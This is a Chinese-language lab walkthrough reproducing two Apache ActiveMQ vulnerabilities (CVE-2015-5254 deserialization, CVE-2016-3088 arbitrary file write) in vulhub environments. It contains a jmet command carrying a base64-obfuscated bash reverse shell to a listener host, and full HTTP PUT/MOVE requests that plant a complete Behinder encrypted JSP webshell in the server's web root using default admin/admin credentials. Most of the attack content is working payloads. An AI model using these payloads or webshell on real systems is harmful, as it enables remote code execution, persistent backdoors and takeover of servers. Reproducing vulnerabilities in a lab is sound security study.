主机以及 ip

ubuntu:用来运行 vulhub,ip 192.168.1.17
windows:用来复现 CVE-2015-5254
kali:用来复现 CVE-2016-3088,ip 192.168.1.21

反序列化漏洞(CVE-2015-5254)

影响版本

Apache ActiveMQ 5.13.0 之前 5.x 版本

漏洞复现

漏洞使用 vulhub

  1. cd vulhub/activemq/CVE-2015-5254
  2. docker-compose up -d # 启动环境

环境运行后,将监听 61616 和 8161 两个端口

  • 61616 是工作端口,消息在这个端口进行传递
  • 8161 是 Web 管理页面端口

访问 http://192.168.1.17:8161/ 即可看到该页面
image.png
kali 监听 23333 端口
image.png
漏洞利用用到 jmet 工具
在工具同级目录创建一个 external 目录,目录结构如下
image.png
生成 payload

  1. java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMjEvMjMzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.1.17 61616

image.png
base 64 解密后为反弹 shell 的命令
image.png
然后会在 http://192.168.1.17:8161/admin/browse.jsp?JMSDestination=event 看到这条队列,点击查看这条队列,kali 收到反弹的 shell
image.png
image.png

参考

  • vulhub

    任意文件写入漏洞(CVE-2016-3088)

    影响版本

    1. 5.12.0 以前可以利用
    2. 5.12.x~5.13.x 默认情况下不可以利用,需要更改配置文件才可以
    3. 5.14.0 以后,不可以利用
    ActiveMQ 的 web 控制台分三个应用:admin、api 和 fileserver,其中 admin 是管理员页面;api 是接口;fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录。

fileserver 是一个 RESTful API 接口,我们可以通过 GET、PUT、DELETE 等 HTTP 请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

  1. 其使用率并不高
  2. 文件操作容易出现漏洞

所以,ActiveMQ 在 5.12.x~5.13.x 版本中,已经默认关闭了 fileserver 这个应用(你可以在 conf/jetty.xml中开启);在 5.14.0 版本以后,彻底删除了 fileserver 应用。

漏洞复现

启动环境

  1. vulhub/activemq/CVE-2016-3088
  2. docker-compose up -d

写入 webshell

使用 admin/admin 登录
image.png
访问 http://192.168.1.17:8161/admin/test/systemProperties.jsp 查看 ActivMQ 的绝对路径
image.png
写入冰蝎后门(首先是 txt 文件)

  1. PUT /fileserver/hi.txt HTTP/1.1
  2. Host: 192.168.1.17:8161
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Length: 612
  8. <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

204 响应码表示上传成功
image.png
访问 http://192.168.1.17:8161/fileserver/hi.txt 可以看到文件已经上传成功image.png
将上传的 hi.txt移动到 web 目录下的 api 文件夹(/opt/activemq/webapps/api/hi.jsp)中并且重命名为 hi.jsp

  1. MOVE /fileserver/hi.txt HTTP/1.1
  2. Destination: file:///opt/activemq/webapps/api/hi.jsp
  3. Host: 192.168.1.17:8161
  4. Accept: */*
  5. Accept-Language: en
  6. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  7. Connection: close
  8. Content-Length: 0

image.png
访问 http://192.168.1.17:8161/api/hi.jsp,上传成功
image.png
使用冰蝎成功连接
image.png
注意,此处需要配置 HTTP 头,否则会提示 401 未认证
image.png

写入 crontab

参考 vulhub 文章

写入 jetty.xml 或 jar

参考 vulhub 文章

参考